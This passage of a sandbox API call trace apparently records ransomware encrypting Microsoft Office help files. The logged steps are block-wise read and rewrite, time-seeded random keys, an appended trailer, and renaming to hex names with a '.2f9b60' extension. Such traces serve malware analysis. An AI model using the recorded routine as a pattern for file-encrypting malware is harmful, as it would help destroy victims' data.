[0161.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c89a0) returned 1 [0161.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42322d00) returned 1 [0161.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0161.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a3650 [0161.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0161.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3680 [0161.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3680) returned 1 [0161.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a3680 [0161.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a36b0 [0161.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a36e0 [0161.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a36e0) returned 1 [0161.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0161.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a84f0 [0161.132] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.132] WriteFile (hFile=0x1dfc, lpBuffer=0x423a84f0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x37affdd0, lpOverlapped=0x0) [0200.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0200.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f190 [0200.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f190) returned 1 [0200.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f190 [0200.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f130 [0200.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f130) returned 1 [0200.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0200.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.253] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="46") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="62") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.253] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="38") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="8e") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="8c") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="51") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="53") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="06") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="03") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="71") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="af") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.254] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="77") returned 2 [0200.254] RtlInitAnsiString (in: DestinationString=0x37affe48, SourceString="4f4662b24ecf38cf8e8c51ef53066e0371af6ffeb277" | out: DestinationString="4f4662b24ecf38cf8e8c51ef53066e0371af6ffeb277") [0200.254] RtlAnsiStringToUnicodeString (in: DestinationString=0x37affe18, SourceString="4f4662b24ecf38cf8e8c51ef53066e0371af6ffeb277", AllocateDestinationString=1 | out: DestinationString="4f4662b24ecf38cf8e8c51ef53066e0371af6ffeb277") returned 0x0 [0200.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a06e0 [0200.255] wcscat (in: _Dest=0x431d9d10, _Source="4f4662b24ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec" [0200.255] wcscat (in: _Dest=0x431d9d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec.2f9b60" [0200.255] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec.2f9b60", NtPathName=0x37affdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\4f4662b24ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f41f0 Thread: id = 2168 os_tid = 0x1570 [0140.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0140.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS", dwFileAttributes=0x20) returned 1 [0140.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fa0 [0144.745] GetFileSizeEx (in: hFile=0x1fa0, lpFileSize=0x3ac8fd80 | out: lpFileSize=0x3ac8fd80*=7024126) returned 1 [0144.745] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x6b2dfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.745] ReadFile (in: hFile=0x1fa0, lpBuffer=0x3ac8fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ac8fd48, lpOverlapped=0x0 | out: lpBuffer=0x3ac8fd00*, lpNumberOfBytesRead=0x3ac8fd48*=0x4, lpOverlapped=0x0) returned 1 [0144.779] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.780] NtQuerySystemTime (in: CurrentTime=0x3ac8fc40 | out: CurrentTime=0x3ac8fc40*=132462177500170000) returned 0x0 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x7ea34b88 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x4d79826a [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x1b7e46f2 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x66da0f0a [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x6e356ac6 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x7b9b27aa [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x5d0f1274 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x520e808 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0xad827d6 [0144.780] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2bfb0da8 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x14842886 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x320f6dcf [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x7485284b [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2622a566 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x64aab791 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x27b39522 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x705e385c [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x67d6dd3e [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x4c7aea4c [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x3ecc1f6e [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x21c7386c [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2cd5f9e2 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x46626216 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x7d8255a8 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x416c795a [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x275de3a2 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2ec5b02d [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2f0d43 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x155b0b81 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x2ed9c6d9 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x31586ae0 [0144.781] RtlRandomEx (in: Seed=0x3ac8fc30 | out: Seed=0x3ac8fc30) returned 0x39e860c5 [0144.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefb0 [0144.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0144.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0144.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0144.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c4d90 [0144.792] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.792] ReadFile (in: hFile=0x1fa0, lpBuffer=0x422c4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x422c4d90*, lpNumberOfBytesRead=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.827] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0144.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0144.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422bd570 [0144.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0144.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0144.829] WriteFile (in: hFile=0x1fa0, lpBuffer=0x422bd570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x422bd570*, lpNumberOfBytesWritten=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422bd570) returned 1 [0166.185] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x35ac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.185] ReadFile (in: hFile=0x1fa0, lpBuffer=0x422c4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x422c4d90*, lpNumberOfBytesRead=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.249] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x35ac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fe0 [0166.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0fe0) returned 1 [0166.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dea60 [0166.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fe0 [0166.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d10 [0166.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d10) returned 1 [0166.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.251] WriteFile (in: hFile=0x1fa0, lpBuffer=0x429dea60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x429dea60*, lpNumberOfBytesWritten=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dea60) returned 1 [0187.131] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x6af1fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.131] ReadFile (in: hFile=0x1fa0, lpBuffer=0x422c4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x422c4d90*, lpNumberOfBytesRead=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.514] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x6af1fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0190.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b00) returned 1 [0190.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0190.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0190.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b30 [0190.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b30) returned 1 [0190.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.517] WriteFile (in: hFile=0x1fa0, lpBuffer=0x41e485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ac8fca0, lpOverlapped=0x0 | out: lpBuffer=0x41e485a0*, lpNumberOfBytesWritten=0x3ac8fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0198.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fbb0 [0198.787] SetFilePointerEx (in: hFile=0x1fa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.787] WriteFile (in: hFile=0x1fa0, lpBuffer=0x431f5380*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3ac8fd50, lpOverlapped=0x0 | out: lpBuffer=0x431f5380*, lpNumberOfBytesWritten=0x3ac8fd50*=0x14c, lpOverlapped=0x0) returned 1 [0203.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d60 [0203.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d60) returned 1 [0203.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20261d60 [0203.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261df0 [0203.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ac0 [0203.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ac0) returned 1 [0203.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5e270 [0203.754] sprintf (in: _Dest=0x1ce5e270, _Format="%c%c" | out: _Dest="54") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e272, _Format="%c%c" | out: _Dest="24") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e274, _Format="%c%c" | out: _Dest="b0") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e276, _Format="%c%c" | out: _Dest="74") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e278, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e27a, _Format="%c%c" | out: _Dest="e8") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e27c, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e27e, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e280, _Format="%c%c" | out: _Dest="06") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e282, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e284, _Format="%c%c" | out: _Dest="ed") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e286, _Format="%c%c" | out: _Dest="13") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e288, _Format="%c%c" | out: _Dest="5d") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e28a, _Format="%c%c" | out: _Dest="ac") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e28c, _Format="%c%c" | out: _Dest="4a") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e28e, _Format="%c%c" | out: _Dest="64") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e290, _Format="%c%c" | out: _Dest="11") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e292, _Format="%c%c" | out: _Dest="57") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e294, _Format="%c%c" | out: _Dest="31") returned 2 [0203.754] sprintf (in: _Dest=0x1ce5e296, _Format="%c%c" | out: _Dest="b7") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e298, _Format="%c%c" | out: _Dest="ea") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e29a, _Format="%c%c" | out: _Dest="57") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e29c, _Format="%c%c" | out: _Dest="5f") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e29e, _Format="%c%c" | out: _Dest="e1") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e2a0, _Format="%c%c" | out: _Dest="33") returned 2 [0203.755] sprintf (in: _Dest=0x1ce5e2a2, _Format="%c%c" | out: _Dest="ed") returned 2 [0203.755] RtlInitAnsiString (in: DestinationString=0x3ac8fdc8, SourceString="5424b074e2e85cc706c5ed135dac4a64115731b7ea575fe133ed" | out: DestinationString="5424b074e2e85cc706c5ed135dac4a64115731b7ea575fe133ed") [0203.755] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ac8fd98, SourceString="5424b074e2e85cc706c5ed135dac4a64115731b7ea575fe133ed", AllocateDestinationString=1 | out: DestinationString="5424b074e2e85cc706c5ed135dac4a64115731b7ea575fe133ed") returned 0x0 [0203.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307980 [0203.756] wcscat (in: _Dest=0x431c4ea0, _Source="5424b074e2e85" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85" [0203.756] wcscat (in: _Dest=0x431c4ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85.2f9b60" [0203.756] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85.2f9b60", NtPathName=0x3ac8fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\5424b074e2e85.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x43131380 Thread: id = 2169 os_tid = 0x1574 [0140.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20 [0140.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC", dwFileAttributes=0x20) returned 1 [0140.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed4 [0144.716] GetFileSizeEx (in: hFile=0x1ed4, lpFileSize=0x3adafe40 | out: lpFileSize=0x3adafe40*=641) returned 1 [0144.716] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x27d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.717] ReadFile (in: hFile=0x1ed4, lpBuffer=0x3adafdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3adafe08, lpOverlapped=0x0 | out: lpBuffer=0x3adafdc0*, lpNumberOfBytesRead=0x3adafe08*=0x4, lpOverlapped=0x0) returned 1 [0144.746] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.747] NtQuerySystemTime (in: CurrentTime=0x3adafd00 | out: CurrentTime=0x3adafd00*=132462177499858000) returned 0x0 [0144.747] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x3aefdebb [0144.747] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x3557e2ca [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x4b908ced [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x70107914 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x7887040e [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x6ccf7bbd [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x7c2168ee [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: 